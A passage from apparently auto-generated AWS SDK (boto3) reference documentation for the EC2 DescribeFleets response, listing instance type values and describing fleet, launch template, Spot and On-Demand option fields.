c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'GroupName': 'string' + } + } + }, + 'Lifecycle': 'spot'|'on-demand', + 'ErrorCode': 'string', + 'ErrorMessage': 'string' + }, + ], + 'Instances': [ + { + 'LaunchTemplateAndOverrides': { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'GroupName': 'string' + } + } + }, + 'Lifecycle': 'spot'|'on-demand', + 'InstanceIds': [ + 'string', + ], + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'Platform': 'Windows' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token for the next set of results. + + * **Fleets** _(list) --_ + + Information about the EC2 Fleets. + + * _(dict) --_ + + Describes an EC2 Fleet. + + * **ActivityStatus** _(string) --_ + + The progress of the EC2 Fleet. If there is an error, the status is error . After all requests are placed, the status is pending_fulfillment . If the size of the EC2 Fleet is equal to or greater than its target capacity, the status is fulfilled . If the size of the EC2 Fleet is decreased, the status is pending_termination while instances are terminating. + + * **CreateTime** _(datetime) --_ + + The creation date and time of the EC2 Fleet. + + * **FleetId** _(string) --_ + + The ID of the EC2 Fleet. + + * **FleetState** _(string) --_ + + The state of the EC2 Fleet. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + * **ExcessCapacityTerminationPolicy** _(string) --_ + + Indicates whether running instances should be terminated if the target capacity of the EC2 Fleet is decreased below the current size of the EC2 Fleet. + + * **FulfilledCapacity** _(float) --_ + + The number of units fulfilled by this request compared to the set target capacity. + + * **FulfilledOnDemandCapacity** _(float) --_ + + The number of units fulfilled by this request compared to the set target On-Demand capacity. + + * **LaunchTemplateConfigs** _(list) --_ + + The launch template and overrides. + + * _(dict) --_ + + Describes a launch template and overrides. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(list) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * _(dict) --_ + + Describes overrides for a launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the override has the lowest priority. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **GroupName** _(string) --_ + + The name of the placement group that the instance is in. + + * **TargetCapacitySpecification** _(dict) --_ + + The number of units to request. You can choose to set the target capacity in terms of instances or a performance characteristic that is important to your application workload, such as vCPUs, memory, or I/O. If the request type is maintain , you can specify a target capacity of 0 and add capacity later. + + * **TotalTargetCapacity** _(integer) --_ + + The number of units to request, filled using DefaultTargetCapacityType . + + * **OnDemandTargetCapacity** _(integer) --_ + + The number of On-Demand units to request. If you specify a target capacity for Spot units, you cannot specify a target capacity for On-Demand units. + + * **SpotTargetCapacity** _(integer) --_ + + The maximum number of Spot units to launch. If you specify a target capacity for On-Demand units, you cannot specify a target capacity for Spot units. + + * **DefaultTargetCapacityType** _(string) --_ + + The default TotalTargetCapacity , which is either Spot or On-Demand . + + * **TerminateInstancesWithExpiration** _(boolean) --_ + + Indicates whether running instances should be terminated when the EC2 Fleet expires. + + * **Type** _(string) --_ + + The type of request. Indicates whether the EC2 Fleet only requests the target capacity, or also attempts to maintain it. If you request a certain target capacity, EC2 Fleet only places the required requests; it does not attempt to replenish instances if capacity is diminished, and it does not submit requests in alternative capacity pools if capacity is unavailable. To maintain a certain target capacity, EC2 Fleet places the required requests to meet this target capacity. It also automatically replenishes any interrupted Spot Instances. Default: maintain . + + * **ValidFrom** _(datetime) --_ + + The start date and time of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). The default is to start fulfilling the request immediately. + + * **ValidUntil** _(datetime) --_ + + The end date and time of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). At this point, no new instance requests are placed or able to fulfill the request. The default end date is 7 days from the current date. + + * **ReplaceUnhealthyInstances** _(boolean) --_ + + Indicates whether EC2 Fleet should replace unhealthy instances. + + * **SpotOptions** _(dict) --_ + + The configuration of Spot Instances in an EC2 Fleet. + + * **AllocationStrategy** _(string) --_ + + Indicates how to allocate the target Spot Instance capacity across the Spot Instance pools specified by the EC2 Fleet. + + If the allocation strategy is lowest-price , EC2 Fleet launches instances from the Spot Instance pools with the lowest price. This is the default allocation strategy. + + If the allocation strategy is diversified , EC2 Fleet launches instances from all of the Spot Instance pools that you specify. + + If the allocation strategy is capacity-optimized , EC2 Fleet launches instances from Spot Instance pools with optimal capacity for the number of instances that are launching. + + * **MaintenanceStrategies** _(dict) --_ + + The strategies for managing your workloads on your Spot Instances that will be interrupted. Currently only the capacity rebalance strategy is available. + + * **CapacityRebalance** _(dict) --_ + + The strategy to use when Amazon EC2 emits a signal that your Spot Instance is at an elevated risk of being interrupted. + + * **ReplacementStrategy** _(string) --_ + + To allow EC2 Fleet to launch a replacement Spot Instance when an instance rebalance notification is emitted for an existing Spot Instance in the fleet, specify launch . Only available for fleets of type maintain . + + Note + + When a replacement instance is launched, the instance marked for rebalance is not automatically terminated. You can terminate it, or you can leave it running. You are charged for both instances while they are running. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + + * **InstancePoolsToUseCount** _(integer) --_ + + The number of Spot pools across which to allocate your target Spot capacity. Valid only when **AllocationStrategy** is set to lowest-price . EC2 Fleet selects the cheapest Spot pools and evenly allocates your target Spot capacity across the number of Spot pools that you specify. + + * **SingleInstanceType** _(boolean) --_ + + Indicates that the fleet uses a single instance type to launch all Spot Instances in the fleet. Supported only for fleets of type instant . + + * **SingleAvailabilityZone** _(boolean) --_ + + Indicates that the fleet launches all Spot Instances into a single Availability Zone. Supported only for fleets of type instant . + + * **MinTargetCapacity** _(integer) --_ + + The minimum target capacity for Spot Instances in the fleet. If the minimum target capacity is not reached, the fleet launches no instances. + + * **MaxTotalPrice** _(string) --_ + + The maximum amount per hour for Spot Instances that you're willing to pay. + + * **OnDemandOptions** _(dict) --_ + + The allocation strategy of On-Demand Instances in an EC2 Fleet. + + * **AllocationStrategy** _(string) --_ + + The order of the launch template overrides to use in fulfilling On-Demand capacity. If you specify lowest-price , EC2 Fleet uses price to determine the order, launching the lowest price first. If you specify prioritized , EC2 Fleet uses the priority that you assigned to each launch template override, launching the highest priority first. If you do not specify a value, EC2 Fleet defaults to lowest-price . + + * **CapacityReservationOptions** _(dict) --_ + + The strategy for using unused Capacity Reservations for fulfilling On-Demand capacity. Supported only for fleets of type instant . + + * **UsageStrategy** _(string) --_ + + Indicates whether to use unused Capacity Reservations for fulfilling On-Demand capacity. + + If you specify use-capacity-reservations-first , the fleet uses unused Capacity Reservations to fulfill On-Demand capacity up to the target On-Demand capacity. If multiple instance pools have unused Capacity Reservations, the On-Demand allocation strategy (lowest-price or prioritized ) is applied. If the number of unused Capacity Reservations is less than the On-Demand target capacity, the remaining On-Demand target capacity is launched according to the On-Demand allocation strategy (lowest-price or prioritized ). + + If you do not specify a value, the fleet fulfils the On-Demand capacity according to the chosen On-Demand allocation strategy. + + * **SingleInstanceType** _(boolean) --_ + + Indicates that the fleet uses a single instance type to launch all On-Demand Instances in the fleet. Supported only for fleets of type instant . + + * **SingleAvailabilityZone** _(boolean) --_ + + Indicates that the fleet launches all On-Demand Instances 